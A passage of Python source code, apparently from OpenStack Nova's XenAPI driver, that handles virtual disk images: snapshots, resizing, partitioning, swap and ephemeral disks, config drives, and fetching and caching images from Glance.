session.call_xenapi('VDI.clone', vdi_to_clone_ref) LOG.debug('Cloned VDI %(vdi_ref)s from VDI ' '%(vdi_to_clone_ref)s', {'vdi_ref': vdi_ref, 'vdi_to_clone_ref': vdi_to_clone_ref}) return vdi_ref def _get_vdi_other_config(disk_type, instance=None): """Return metadata to store in VDI's other_config attribute. `nova_instance_uuid` is used to associate a VDI with a particular instance so that, if it becomes orphaned from an unclean shutdown of a compute-worker, we can safely detach it. """ other_config = {'nova_disk_type': disk_type} # create_vdi may be called simply while creating a volume # hence information about instance may or may not be present if instance: other_config['nova_instance_uuid'] = instance['uuid'] return other_config def _set_vdi_info(session, vdi_ref, vdi_type, name_label, description, instance): existing_other_config = session.call_xenapi('VDI.get_other_config', vdi_ref) session.call_xenapi('VDI.set_name_label', vdi_ref, name_label) session.call_xenapi('VDI.set_name_description', vdi_ref, description) other_config = _get_vdi_other_config(vdi_type, instance=instance) for key, value in six.iteritems(other_config): if key not in existing_other_config: session.call_xenapi( "VDI.add_to_other_config", vdi_ref, key, value) def _vm_get_vbd_refs(session, vm_ref): return session.call_xenapi("VM.get_VBDs", vm_ref) def _vbd_get_rec(session, vbd_ref): return session.call_xenapi("VBD.get_record", vbd_ref) def _vdi_get_rec(session, vdi_ref): return session.call_xenapi("VDI.get_record", vdi_ref) def _vdi_get_uuid(session, vdi_ref): return session.call_xenapi("VDI.get_uuid", vdi_ref) def _vdi_snapshot(session, vdi_ref): return session.call_xenapi("VDI.snapshot", vdi_ref, {}) def get_vdi_for_vm_safely(session, vm_ref, userdevice='0'): """Retrieves the primary VDI for a VM.""" vbd_refs = _vm_get_vbd_refs(session, vm_ref) for vbd_ref in vbd_refs: vbd_rec = _vbd_get_rec(session, vbd_ref) # Convention dictates the primary VDI will be userdevice 0 if vbd_rec['userdevice'] == userdevice: vdi_ref = vbd_rec['VDI'] vdi_rec = _vdi_get_rec(session, vdi_ref) return vdi_ref, vdi_rec raise exception.NovaException(_("No primary VDI found for %s") % vm_ref) def get_all_vdi_uuids_for_vm(session, vm_ref, min_userdevice=0): vbd_refs = _vm_get_vbd_refs(session, vm_ref) for vbd_ref in vbd_refs: vbd_rec = _vbd_get_rec(session, vbd_ref) if int(vbd_rec['userdevice']) >= min_userdevice: vdi_ref = vbd_rec['VDI'] yield _vdi_get_uuid(session, vdi_ref) def _try_strip_base_mirror_from_vdi(session, vdi_ref): try: session.call_xenapi("VDI.remove_from_sm_config", vdi_ref, "base_mirror") except session.XenAPI.Failure: LOG.debug("Error while removing sm_config", exc_info=True) def strip_base_mirror_from_vdis(session, vm_ref): # NOTE(johngarbutt) part of workaround for XenServer bug CA-98606 vbd_refs = session.call_xenapi("VM.get_VBDs", vm_ref) for vbd_ref in vbd_refs: vdi_ref = session.call_xenapi("VBD.get_VDI", vbd_ref) _try_strip_base_mirror_from_vdi(session, vdi_ref) def _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref): possible_snapshot_parents = vdi_uuid_chain[1:] if len(possible_snapshot_parents) == 0: LOG.debug("No VHD chain.", instance=instance) return snapshot_uuids = _child_vhds(session, sr_ref, possible_snapshot_parents, old_snapshots_only=True) number_of_snapshots = len(snapshot_uuids) if number_of_snapshots <= 0: LOG.debug("No snapshots to remove.", instance=instance) return vdi_refs = [session.VDI.get_by_uuid(vdi_uuid) for vdi_uuid in snapshot_uuids] safe_destroy_vdis(session, vdi_refs) # ensure garbage collector has been run _scan_sr(session, sr_ref) LOG.info(_LI("Deleted %s snapshots.") % number_of_snapshots, instance=instance) def remove_old_snapshots(session, instance, vm_ref): """See if there is an snapshot present that should be removed.""" LOG.debug("Starting remove_old_snapshots for VM", instance=instance) vm_vdi_ref, vm_vdi_rec = get_vdi_for_vm_safely(session, vm_ref) chain = _walk_vdi_chain(session, vm_vdi_rec['uuid']) vdi_uuid_chain = [vdi_rec['uuid'] for vdi_rec in chain] sr_ref = vm_vdi_rec["SR"] _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref) @contextlib.contextmanager def snapshot_attached_here(session, instance, vm_ref, label, userdevice='0', post_snapshot_callback=None): # impl method allow easier patching for tests return _snapshot_attached_here_impl(session, instance, vm_ref, label, userdevice, post_snapshot_callback) def _snapshot_attached_here_impl(session, instance, vm_ref, label, userdevice, post_snapshot_callback): """Snapshot the root disk only. Return a list of uuids for the vhds in the chain. """ LOG.debug("Starting snapshot for VM", instance=instance) # Memorize the VDI chain so we can poll for coalesce vm_vdi_ref, vm_vdi_rec = get_vdi_for_vm_safely(session, vm_ref, userdevice) chain = _walk_vdi_chain(session, vm_vdi_rec['uuid']) vdi_uuid_chain = [vdi_rec['uuid'] for vdi_rec in chain] sr_ref = vm_vdi_rec["SR"] # clean up after any interrupted snapshot attempts _delete_snapshots_in_vdi_chain(session, instance, vdi_uuid_chain, sr_ref) snapshot_ref = _vdi_snapshot(session, vm_vdi_ref) if post_snapshot_callback is not None: post_snapshot_callback(task_state=task_states.IMAGE_PENDING_UPLOAD) try: # When the VDI snapshot is taken a new parent is introduced. # If we have taken a snapshot before, the new parent can be coalesced. # We need to wait for this to happen before trying to copy the chain. _wait_for_vhd_coalesce(session, instance, sr_ref, vm_vdi_ref, vdi_uuid_chain) snapshot_uuid = _vdi_get_uuid(session, snapshot_ref) chain = _walk_vdi_chain(session, snapshot_uuid) vdi_uuids = [vdi_rec['uuid'] for vdi_rec in chain] yield vdi_uuids finally: safe_destroy_vdis(session, [snapshot_ref]) # TODO(johngarbut) we need to check the snapshot has been coalesced # now its associated VDI has been deleted. def get_sr_path(session, sr_ref=None): """Return the path to our storage repository This is used when we're dealing with VHDs directly, either by taking snapshots or by restoring an image in the DISK_VHD format. """ if sr_ref is None: sr_ref = safe_find_sr(session) pbd_rec = session.call_xenapi("PBD.get_all_records_where", 'field "host"="%s" and ' 'field "SR"="%s"' % (session.host_ref, sr_ref)) # NOTE(bobball): There can only be one PBD for a host/SR pair, but path is # not always present - older versions of XS do not set it. pbd_ref = list(pbd_rec.keys())[0] device_config = pbd_rec[pbd_ref]['device_config'] if 'path' in device_config: return device_config['path'] sr_rec = session.call_xenapi("SR.get_record", sr_ref) sr_uuid = sr_rec["uuid"] if sr_rec["type"] not in ["ext", "nfs"]: raise exception.NovaException( _("Only file-based SRs (ext/NFS) are supported by this feature." " SR %(uuid)s is of type %(type)s") % {"uuid": sr_uuid, "type": sr_rec["type"]}) return os.path.join(CONF.xenserver.sr_base_path, sr_uuid) def destroy_cached_images(session, sr_ref, all_cached=False, dry_run=False): """Destroy used or unused cached images. A cached image that is being used by at least one VM is said to be 'used'. In the case of an 'unused' image, the cached image will be the only descendent of the base-copy. So when we delete the cached-image, the refcount will drop to zero and XenServer will automatically destroy the base-copy for us. The default behavior of this function is to destroy only 'unused' cached images. To destroy all cached images, use the `all_cached=True` kwarg. """ cached_images = _find_cached_images(session, sr_ref) destroyed = set() def destroy_cached_vdi(vdi_uuid, vdi_ref): LOG.debug("Destroying cached VDI '%(vdi_uuid)s'") if not dry_run: destroy_vdi(session, vdi_ref) destroyed.add(vdi_uuid) for vdi_ref in cached_images.values(): vdi_uuid = session.call_xenapi('VDI.get_uuid', vdi_ref) if all_cached: destroy_cached_vdi(vdi_uuid, vdi_ref) continue # Unused-Only: Search for siblings # Chain length greater than two implies a VM must be holding a ref to # the base-copy (otherwise it would have coalesced), so consider this # cached image used. chain = list(_walk_vdi_chain(session, vdi_uuid)) if len(chain) > 2: continue elif len(chain) == 2: # Siblings imply cached image is used root_vdi_rec = chain[-1] children = _child_vhds(session, sr_ref, [root_vdi_rec['uuid']]) if len(children) > 1: continue destroy_cached_vdi(vdi_uuid, vdi_ref) return destroyed def _find_cached_images(session, sr_ref): """Return a dict(uuid=vdi_ref) representing all cached images.""" cached_images = {} for vdi_ref, vdi_rec in _get_all_vdis_in_sr(session, sr_ref): try: image_id = vdi_rec['other_config']['image-id'] except KeyError: continue cached_images[image_id] = vdi_ref return cached_images def _find_cached_image(session, image_id, sr_ref): """Returns the vdi-ref of the cached image.""" name_label = _get_image_vdi_label(image_id) recs = session.call_xenapi("VDI.get_all_records_where", 'field "name__label"="%s"' % name_label) number_found = len(recs) if number_found > 0: if number_found > 1: LOG.warning(_LW("Multiple base images for image: %s"), image_id) return list(recs.keys())[0] def _get_resize_func_name(session): brand = session.product_brand version = session.product_version # To maintain backwards compatibility. All recent versions # should use VDI.resize if version and brand: xcp = brand == 'XCP' r1_2_or_above = (version[0] == 1 and version[1] > 1) or version[0] > 1 xenserver = brand == 'XenServer' r6_or_above = version[0] > 5 if (xcp and not r1_2_or_above) or (xenserver and not r6_or_above): return 'VDI.resize_online' return 'VDI.resize' def _vdi_get_virtual_size(session, vdi_ref): size = session.call_xenapi('VDI.get_virtual_size', vdi_ref) return int(size) def _vdi_resize(session, vdi_ref, new_size): resize_func_name = _get_resize_func_name(session) session.call_xenapi(resize_func_name, vdi_ref, str(new_size)) def update_vdi_virtual_size(session, instance, vdi_ref, new_gb): virtual_size = _vdi_get_virtual_size(session, vdi_ref) new_disk_size = new_gb * units.Gi msg = ("Resizing up VDI %(vdi_ref)s from %(virtual_size)d " "to %(new_disk_size)d") LOG.debug(msg, {'vdi_ref': vdi_ref, 'virtual_size': virtual_size, 'new_disk_size': new_disk_size}, instance=instance) if virtual_size < new_disk_size: # For resize up. Simple VDI resize will do the trick _vdi_resize(session, vdi_ref, new_disk_size) elif virtual_size == new_disk_size: LOG.debug("No need to change vdi virtual size.", instance=instance) else: # NOTE(johngarbutt): we should never get here # but if we don't raise an exception, a user might be able to use # more storage than allowed by their chosen instance flavor msg = _("VDI %(vdi_ref)s is %(virtual_size)d bytes which is larger " "than flavor size of %(new_disk_size)d bytes.") msg = msg % {'vdi_ref': vdi_ref, 'virtual_size': virtual_size, 'new_disk_size': new_disk_size} LOG.debug(msg, instance=instance) raise exception.ResizeError(reason=msg) def resize_disk(session, instance, vdi_ref, flavor): size_gb = flavor.root_gb if size_gb == 0: reason = _("Can't resize a disk to 0 GB.") raise exception.ResizeError(reason=reason) sr_ref = safe_find_sr(session) clone_ref = _clone_vdi(session, vdi_ref) try: # Resize partition and filesystem down _auto_configure_disk(session, clone_ref, size_gb) # Create new VDI vdi_size = size_gb * units.Gi # NOTE(johannes): No resizing allowed for rescue instances, so # using instance['name'] is safe here new_ref = create_vdi(session, sr_ref, instance, instance['name'], 'root', vdi_size) new_uuid = session.call_xenapi('VDI.get_uuid', new_ref) # Manually copy contents over virtual_size = size_gb * units.Gi _copy_partition(session, clone_ref, new_ref, 1, virtual_size) return new_ref, new_uuid finally: destroy_vdi(session, clone_ref) def _auto_configure_disk(session, vdi_ref, new_gb): """Partition and resize FS to match the size specified by flavors.root_gb. This is a fail-safe to prevent accidentally destroying data on a disk erroneously marked as auto_disk_config=True. The criteria for allowing resize are: 1. 'auto_disk_config' must be true for the instance (and image). (If we've made it here, then auto_disk_config=True.) 2. The disk must have only one partition. 3. The file-system on the one partition must be ext3 or ext4. """ if new_gb == 0: LOG.debug("Skipping auto_config_disk as destination size is 0GB") return with vdi_attached_here(session, vdi_ref, read_only=False) as dev: partitions = _get_partitions(dev) if len(partitions) != 1: reason = _('Disk must have only one partition.') raise exception.CannotResizeDisk(reason=reason) num, start, old_sectors, fstype, name, flags = partitions[0] if fstype not in ('ext3', 'ext4'): reason = _('Disk contains a filesystem ' 'we are unable to resize: %s') raise exception.CannotResizeDisk(reason=(reason % fstype)) if num != 1: reason = _('The only partition should be partition 1.') raise exception.CannotResizeDisk(reason=reason) new_sectors = new_gb * units.Gi / SECTOR_SIZE _resize_part_and_fs(dev, start, old_sectors, new_sectors, flags) def try_auto_configure_disk(session, vdi_ref, new_gb): try: _auto_configure_disk(session, vdi_ref, new_gb) except exception.CannotResizeDisk as e: msg = _LW('Attempted auto_configure_disk failed because: %s') LOG.warn(msg % e) def _make_partition(session, dev, partition_start, partition_end): dev_path = utils.make_dev_path(dev) # NOTE(bobball) If this runs in Dom0, parted will error trying # to re-read the partition table and return a generic error utils.execute('parted', '--script', dev_path, 'mklabel', 'msdos', run_as_root=True, check_exit_code=not session.is_local_connection) utils.execute('parted', '--script', dev_path, '--', 'mkpart', 'primary', partition_start, partition_end, run_as_root=True, check_exit_code=not session.is_local_connection) partition_path = utils.make_dev_path(dev, partition=1) if session.is_local_connection: # Need to refresh the partitions utils.trycmd('kpartx', '-a', dev_path, run_as_root=True, discard_warnings=True) # Sometimes the partition gets created under /dev/mapper, depending # on the setup in dom0. mapper_path = '/dev/mapper/%s' % os.path.basename(partition_path) if os.path.exists(mapper_path): return mapper_path return partition_path def _generate_disk(session, instance, vm_ref, userdevice, name_label, disk_type, size_mb, fs_type): """Steps to programmatically generate a disk: 1. Create VDI of desired size 2. Attach VDI to compute worker 3. Create partition 4. Create VBD between instance VM and VDI """ # 1. Create VDI sr_ref = safe_find_sr(session) ONE_MEG = units.Mi virtual_size = size_mb * ONE_MEG vdi_ref = create_vdi(session, sr_ref, instance, name_label, disk_type, virtual_size) try: # 2. Attach VDI to compute worker (VBD hotplug) with vdi_attached_here(session, vdi_ref, read_only=False) as dev: # 3. Create partition partition_start = "2048s" partition_end = "-0" partition_path = _make_partition(session, dev, partition_start, partition_end) if fs_type == 'linux-swap': utils.execute('mkswap', partition_path, run_as_root=True) elif fs_type is not None: utils.execute('mkfs', '-t', fs_type, partition_path, run_as_root=True) # 4. Create VBD between instance VM and VDI if vm_ref: create_vbd(session, vm_ref, vdi_ref, userdevice, bootable=False) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while generating disk number: %s" % userdevice LOG.debug(msg, instance=instance, exc_info=True) safe_destroy_vdis(session, [vdi_ref]) return vdi_ref def generate_swap(session, instance, vm_ref, userdevice, name_label, swap_mb): # NOTE(jk0): We use a FAT32 filesystem for the Windows swap # partition because that is what parted supports. is_windows = instance['os_type'] == "windows" fs_type = "vfat" if is_windows else "linux-swap" _generate_disk(session, instance, vm_ref, userdevice, name_label, 'swap', swap_mb, fs_type) def get_ephemeral_disk_sizes(total_size_gb): if not total_size_gb: return max_size_gb = 2000 if total_size_gb % 1024 == 0: max_size_gb = 1024 left_to_allocate = total_size_gb while left_to_allocate > 0: size_gb = min(max_size_gb, left_to_allocate) yield size_gb left_to_allocate -= size_gb def generate_single_ephemeral(session, instance, vm_ref, userdevice, size_gb, instance_name_label=None): if instance_name_label is None: instance_name_label = instance["name"] name_label = "%s ephemeral" % instance_name_label # TODO(johngarbutt) need to move DEVICE_EPHEMERAL from vmops to use it here label_number = int(userdevice) - 4 if label_number > 0: name_label = "%s (%d)" % (name_label, label_number) return _generate_disk(session, instance, vm_ref, str(userdevice), name_label, 'ephemeral', size_gb * 1024, CONF.default_ephemeral_format) def generate_ephemeral(session, instance, vm_ref, first_userdevice, instance_name_label, total_size_gb): # NOTE(johngarbutt): max possible size of a VHD disk is 2043GB sizes = get_ephemeral_disk_sizes(total_size_gb) first_userdevice = int(first_userdevice) vdi_refs = [] try: for userdevice, size_gb in enumerate(sizes, start=first_userdevice): ref = generate_single_ephemeral(session, instance, vm_ref, userdevice, size_gb, instance_name_label) vdi_refs.append(ref) except Exception as exc: with excutils.save_and_reraise_exception(): LOG.debug("Error when generating ephemeral disk. " "Device: %(userdevice)s Size GB: %(size_gb)s " "Error: %(exc)s", { 'userdevice': userdevice, 'size_gb': size_gb, 'exc': exc}) safe_destroy_vdis(session, vdi_refs) def generate_iso_blank_root_disk(session, instance, vm_ref, userdevice, name_label, size_gb): _generate_disk(session, instance, vm_ref, userdevice, name_label, 'user', size_gb * 1024, CONF.default_ephemeral_format) def generate_configdrive(session, instance, vm_ref, userdevice, network_info, admin_password=None, files=None): sr_ref = safe_find_sr(session) vdi_ref = create_vdi(session, sr_ref, instance, 'config-2', 'configdrive', configdrive.CONFIGDRIVESIZE_BYTES) try: with vdi_attached_here(session, vdi_ref, read_only=False) as dev: extra_md = {} if admin_password: extra_md['admin_pass'] = admin_password inst_md = instance_metadata.InstanceMetadata(instance, content=files, extra_md=extra_md, network_info=network_info) with configdrive.ConfigDriveBuilder(instance_md=inst_md) as cdb: with utils.tempdir() as tmp_path: tmp_file = os.path.join(tmp_path, 'configdrive') cdb.make_drive(tmp_file) dev_path = utils.make_dev_path(dev) utils.execute('dd', 'if=%s' % tmp_file, 'of=%s' % dev_path, 'oflag=direct,sync', run_as_root=True) create_vbd(session, vm_ref, vdi_ref, userdevice, bootable=False, read_only=True) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while generating config drive" LOG.debug(msg, instance=instance, exc_info=True) safe_destroy_vdis(session, [vdi_ref]) def _create_kernel_image(context, session, instance, name_label, image_id, image_type): """Creates kernel/ramdisk file from the image stored in the cache. If the image is not present in the cache, it streams it from glance. Returns: A list of dictionaries that describe VDIs """ filename = "" if CONF.xenserver.cache_images: args = {} args['cached-image'] = image_id args['new-image-uuid'] = str(uuid.uuid4()) filename = session.call_plugin('kernel', 'create_kernel_ramdisk', args) if filename == "": return _fetch_disk_image(context, session, instance, name_label, image_id, image_type) else: vdi_type = ImageType.to_string(image_type) return {vdi_type: dict(uuid=None, file=filename)} def create_kernel_and_ramdisk(context, session, instance, name_label): kernel_file = None ramdisk_file = None if instance['kernel_id']: vdis = _create_kernel_image(context, session, instance, name_label, instance['kernel_id'], ImageType.KERNEL) kernel_file = vdis['kernel'].get('file') if instance['ramdisk_id']: vdis = _create_kernel_image(context, session, instance, name_label, instance['ramdisk_id'], ImageType.RAMDISK) ramdisk_file = vdis['ramdisk'].get('file') return kernel_file, ramdisk_file def destroy_kernel_ramdisk(session, instance, kernel, ramdisk): args = {} if kernel: args['kernel-file'] = kernel if ramdisk: args['ramdisk-file'] = ramdisk if args: LOG.debug("Removing kernel/ramdisk files from dom0", instance=instance) session.call_plugin('kernel', 'remove_kernel_ramdisk', args) def _get_image_vdi_label(image_id): return 'Glance Image %s' % image_id def _create_cached_image(context, session, instance, name_label, image_id, image_type): sr_ref = safe_find_sr(session) sr_type = session.call_xenapi('SR.get_type', sr_ref) if CONF.use_cow_images and sr_type != "ext": LOG.warning(_LW("Fast cloning is only supported on default local SR " "of type ext. SR on this system was found to be of " "type %s. Ignoring the cow flag."), sr_type) @utils.synchronized('xenapi-image-cache' + image_id) def _create_cached_image_impl(context, session, instance, name_label, image_id, image_type, sr_ref): cache_vdi_ref = _find_cached_image(session, image_id, sr_ref) downloaded = False if cache_vdi_ref is None: downloaded = True vdis = _fetch_image(context, session, instance, name_label, image_id, image_type) cache_vdi_ref = session.call_xenapi( 'VDI.get_by_uuid', vdis['root']['uuid']) session.call_xenapi('VDI.set_name_label', cache_vdi_ref, _get_image_vdi_label(image_id)) session.call_xenapi('VDI.set_name_description', cache_vdi_ref, 'root') session.call_xenapi('VDI.add_to_other_config', cache_vdi_ref, 'image-id', str(image_id)) if CONF.use_cow_images: new_vdi_ref = _clone_vdi(session, cache_vdi_ref) elif sr_type == 'ext': new_vdi_ref = _safe_copy_vdi(session, sr_ref, instance, cache_vdi_ref) else: new_vdi_ref = session.call_xenapi("VDI.copy", cache_vdi_ref, sr_ref) session.call_xenapi('VDI.set_name_label', new_vdi_ref, '') session.call_xenapi('VDI.set_name_description', new_vdi_ref, '') session.call_xenapi('VDI.remove_from_other_config', new_vdi_ref, 'image-id') vdi_uuid = session.call_xenapi('VDI.get_uuid', new_vdi_ref) return downloaded, vdi_uuid downloaded, vdi_uuid = _create_cached_image_impl(context, session, instance, name_label, image_id, image_type, sr_ref) vdis = {} vdi_type = ImageType.get_role(image_type) vdis[vdi_type] = dict(uuid=vdi_uuid, file=None) return downloaded, vdis def create_image(context, session, instance, name_label, image_id, image_type): """Creates VDI from the image stored in the local cache. If the image is not present in the cache, it streams it from glance. Returns: A list of dictionaries that describe VDIs """ cache_images = CONF.xenserver.cache_images.lower() # Determine if the image is cacheable if image_type == ImageType.DISK_ISO: cache = False elif cache_images == 'all': cache = True elif cache_images == 'some': sys_meta = utils.instance_sys_meta(instance) try: cache = strutils.bool_from_string(sys_meta['image_cache_in_nova']) except KeyError: cache = False elif cache_images == 'none': cache = False else: LOG.warning(_LW("Unrecognized cache_images value '%s', defaulting to" " True"), CONF.xenserver.cache_images) cache = True # Fetch (and cache) the image start_time = timeutils.utcnow() if cache: downloaded, vdis = _create_cached_image(context, session, instance, name_label, image_id, image_type) else: vdis = _fetch_image(context, session, instance, name_label, image_id, image_type) downloaded = True duration = timeutils.delta_seconds(start_time, timeutils.utcnow()) LOG.info(_LI("Image creation data, cacheable: %(cache)s, " "downloaded: %(downloaded)s duration: %(duration).2f secs " "for image %(image_id)s"), {'image_id': image_id, 'cache': cache, 'downloaded': downloaded, 'duration': duration}) for vdi_type, vdi in six.iteritems(vdis): vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi['uuid']) _set_vdi_info(session, vdi_ref, vdi_type, name_label, vdi_type, instance) return vdis def _fetch_image(context, session, instance, name_label, image_id, image_type): """Fetch image from glance based on image type. Returns: A single filename if image_type is KERNEL or RAMDISK A list of dictionaries that describe VDIs, otherwise """ if image_type == ImageType.DISK_VHD: vdis = _fetch_vhd_image(context, session, instance, image_id) else: vdis = _fetch_disk_image(context, session, instance, name_label, image_id, image_type) for vdi_type, vdi in six.iteritems(vdis): vdi_uuid = vdi['uuid'] LOG.debug("Fetched VDIs of type '%(vdi_type)s' with UUID" " '%(vdi_uuid)s'", {'vdi_type': vdi_type, 'vdi_uuid': vdi_uuid}, instance=instance) return vdis def _make_uuid_stack(): # NOTE(sirp): The XenAPI plugins run under Python 2.4 # which does not have the `uuid` module. To work around this, # we generate the uuids here (under Python 2.6+) and # pass them as arguments return [str(uuid.uuid4()) for i in range(MAX_VDI_CHAIN_SIZE)] def _image_uses_bittorrent(context, instance): bittorrent = False torrent_images = CONF.xenserver.torrent_images.lower() if torrent_images == 'all': bittorrent = True elif torrent_images == 'some': sys_meta = utils.instance_sys_meta(instance) try: bittorrent = strutils.bool_from_string( sys_meta['image_bittorrent']) except KeyError: pass elif torrent_images == 'none': pass else: LOG.warning(_LW("Invalid value '%s' for torrent_images"), torrent_images) return bittorrent def _default_download_handler(): # TODO(sirp): This should be configurable like upload_handler return importutils.import_object( 'nova.virt.xenapi.image.glance.GlanceStore') def _choose_download_handler(context, instance): if _image_uses_bittorrent(context, instance): return importutils.import_object( 'nova.virt.xenapi.image.bittorrent.BittorrentStore') else: return _default_download_handler() def get_compression_level(): level = CONF.xenserver.image_compression_level if level is not None and (level < 1 or level > 9): LOG.warning(_LW("Invalid value '%d' for image_compression_level"), level) return None return level def _fetch_vhd_image(context, session, instance, image_id): """Tell glance to download an image and put the VHDs into the SR Returns: A list of dictionaries that describe VDIs """ LOG.debug("Asking xapi to fetch vhd image %s", image_id, instance=instance) handler = _choose_download_handler(context, instance) try: vdis = handler.download_image(context, session, instance, image_id) except Exception: default_handler = _default_download_handler() # Using type() instead of isinstance() so instance of subclass doesn't # test as equivalent if type(handler) == type(default_handler): raise LOG.exception(_LE("Download handler '%(handler)s' raised an" " exception, falling back to default handler" " '%(default_handler)s'"), {'handler': handler, 'default_handler': default_handler}) vdis = default_handler.download_image( context, session, instance, image_id) # Ensure we can see the import VHDs as VDIs scan_default_sr(session) vdi_uuid = vdis['root']['uuid'] try: _check_vdi_size(context, session, instance, vdi_uuid) except Exception: with excutils.save_and_reraise_exception(): msg = "Error while checking vdi size" LOG.debug(msg, instance=instance, exc_info=True) for vdi in vdis.values(): vdi_uuid = vdi['uuid'] vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi_uuid) safe_destroy_vdis(session, [vdi_ref]) return vdis def _get_vdi_chain_size(session, vdi_uuid): """Compute the total size of a VDI chain, starting with the specified VDI UUID. This will walk the VDI chain to the root, add the size of each VDI into the total. """ size_bytes = 0 for vdi_rec in _walk_vdi_chain(session, vdi_uuid): cur_vdi_uuid = vdi_rec['uuid'] vdi_size_bytes = int(vdi_rec['physical_utilisation']) LOG.debug('vdi_uuid=%(cur_vdi_uuid)s vdi_size_bytes=' '%(vdi_size_bytes)d', {'cur_vdi_uuid': cur_vdi_uuid, 'vdi_size_bytes': vdi_size_bytes}) size_bytes += vdi_size_bytes return size_bytes def _check_vdi_size(context, session, instance, vdi_uuid): flavor = instance.get_flavor() allowed_size = (flavor.root_gb + VHD_SIZE_CHECK_FUDGE_FACTOR_GB) * units.Gi if not flavor.root_gb: # root_gb=0 indicates that we're disabling size checks return size = _get_vdi_chain_size(session, vdi_uuid) if size > allowed_size: LOG.error(_LE("Image size %(size)d exceeded flavor " "allowed size %(allowed_size)d"), {'size': size, 'allowed_size': allowed_size}, instance=instance) raise exception.FlavorDiskSmallerThanImage( flavor_size=(flavor.root_gb * units.Gi), image_size=(size * units.Gi)) def _fetch_disk_image(context, session, instance, name_label, image_id, image_type): """Fetch the image from Glance NOTE: Unlike _fetch_vhd_image, this method does not use the Glance plugin; instead, it streams the disks through domU to the VDI directly. Returns: A single filename if image_type is KERNEL_RAMDISK A list of dictionaries that describe VDIs, otherwise """ # FIXME(sirp): Since the Glance plugin seems to be required for the # VHD disk, it may be worth using the plugin for both VHD and RAW and # DISK restores image_type_str = ImageType.to_string(image_type) LOG.debug("Fetching image %(image_id)s, type %(image_type_str)s", {'image_id': image_id, 'image_type_str': image_type_str}, instance=instance) if image_type == ImageType.DISK_ISO: sr_ref = _safe_find_iso_sr(session) else: sr_ref = safe_find_sr(session) glance_image = image_utils.GlanceImage(context, image_id) if glance_image.is_raw_tgz(): image = image_utils.RawTGZImage(glance_image) else: image = image_utils.RawImage(glance_image) virtual_size = image.get_size() vdi_size = virtual_size LOG.debug("Size for image %(image_id)s: %(virtual_size)d", {'image_id': image_id, 'virtual_size': virtual_size}, instance=instance) if image_type == ImageType.DISK: # Make room for MBR. vdi_size += MBR_SIZE_BYTES elif (image_type in (ImageType.KERNEL, ImageType.RAMDISK) and vdi_size > CONF.xenserver.max_kernel_ramdisk_size): max_size = CONF.xenserver.max_kernel_ramdisk_size raise exception.NovaException( _("Kernel/Ramdisk image is too large: %(vdi_size)d bytes, " "max %(max_size)d bytes") % {'vdi_size': vdi_size, 'max_size': max_size}) vdi_ref = create_vdi(session, sr_ref, instance, name_label, image_type_str, vdi_size) # From this point we have a VDI on Xen host; # If anything goes wrong, we need to remember its uuid. try: filename = None vdi_uuid = session.call_xenapi("VDI.get_uuid", vdi_ref) with vdi_attached_here(session, vdi_ref, read_only=False) as dev: _stream_disk( session, image.stream_to, image_type, virtual_size, dev) if image_type in (ImageType.KERNEL, ImageType.RAMDISK): # We need to invoke a plugin for copying the # content of the VDI into the proper path. LOG.debug("Copying VDI %s to /boot/guest on dom0", vdi_ref, instance=instance) args = {} args['vdi-ref'] = vdi_ref # Let the plugin copy the correct number of bytes. args['image-size'] = str(vdi_size) if CONF.xenserver.cache_images: args['cached-image'] = image_id filename = session.call_plugin('kernel', 'copy_vdi', args) # Remove the VDI as it is not needed anymore. destroy_vdi(session, vdi_ref) LOG.debug("Kernel/Ramdisk VDI %s destroyed", vdi_ref, instance=instance) vdi_role = ImageType.get_role(image_type) return {vdi_role: dict(uuid=None, file=filename)} else: vdi_role = ImageType.get_role(image_type) return {vdi_role: dict(uuid=vdi_uuid, file=None)} except (session.XenAPI.Failure, IOError, OSError) as e: # We look for XenAPI and OS failures. LOG.exception(_LE("Failed to fetch glance image"), instance=instance) e.args = e.args + ([dict(type=ImageType.to_string(image_type), uuid=vdi_uuid, file=filename)],) raise def determine_disk_image_type(image_meta): """Disk Image Types are used to determine where the kernel will reside within an image. To figure out which type we're dealing with, we use the following rules: 1. If we're using Glance, we can use the image_type field to determine the image_type 2. If we're not using Glance, then we need to deduce this based on whether a kernel_id is specified. """ if not image_meta.obj_attr_is_set("disk_format"): return None disk_format_map = { 'ami': ImageType.DISK, 'aki': ImageType.KERNEL, 'ari': ImageType.RAMDISK, 'raw': ImageType.DISK_RAW, 'vhd': ImageType.DISK_VHD, 'iso': ImageType.DISK_ISO, } try: image_type = disk_format_map[image_meta.disk_format] except KeyError: raise exception.InvalidDiskFormat(disk_format=image_meta.disk_format) LOG.debug("Detected %(type)s format for image %(image)s", {'type': ImageType.to_string(image_type), 'image': image_meta}) return image_type def determine_vm_mode(instance, disk_image_type): current_mode = vm_mode.get_from_instance(instance) if current_mode == vm_mode.XEN or current_mode == vm_mode.HVM: return current_mode os_type = instance['os_type'] if os_type == "linux": return vm_mode.XEN if os_type == "windows": return vm_mode.HVM # disk_image_type specific default for backwards compatibility if disk_image_type == ImageType.DISK_VHD or \ disk_image_type == ImageType.DISK: return vm_mode.XEN # most images run OK as HVM return vm_mode.HVM def set_vm_name_label(session, vm_ref, name_label): session.call_xenapi("VM.set_name_label", vm_ref, name_label) def list_vms(session): vms = session.call_xenapi("VM.get_all_records_where", 'field "is_control_domain"="false" and ' 'field "is_a_template"="false" and ' 'field "resident_on"="%s"' % session.host_ref) for vm_ref in vms.keys(): yield vm_ref, vms[vm_ref] def lookup_vm_vdis(session, vm_ref): """Look for the VDIs that are attached to the VM.""" # Firstly we get the VBDs, then the VDIs. # TODO(Armando): do we leave the read-only devices? vbd_refs = session.call_xenapi("VM.get_VBDs", vm_ref) vdi_refs = [] if vbd_refs: for vbd_ref in vbd_refs: try: vdi_ref = session.call_xenapi("VBD.get_VDI", vbd_ref) # Test valid VDI vdi_uuid = session.call_xenapi("VDI.get_uuid", vdi_ref) LOG.debug('VDI %s is still available', vdi_uuid) vbd_other_config = session.call_xenapi("VBD.get_other_config", vbd_ref) if not vbd_other_config.get('osvol'): # This is not an attached volume vdi_refs.append(vdi_ref) except session.XenAPI.Failure: LOG.exception(_LE('"Look for the VDIs failed')) return vdi_refs def lookup(session, name_label, check_rescue=False): """Look the instance up and return it if 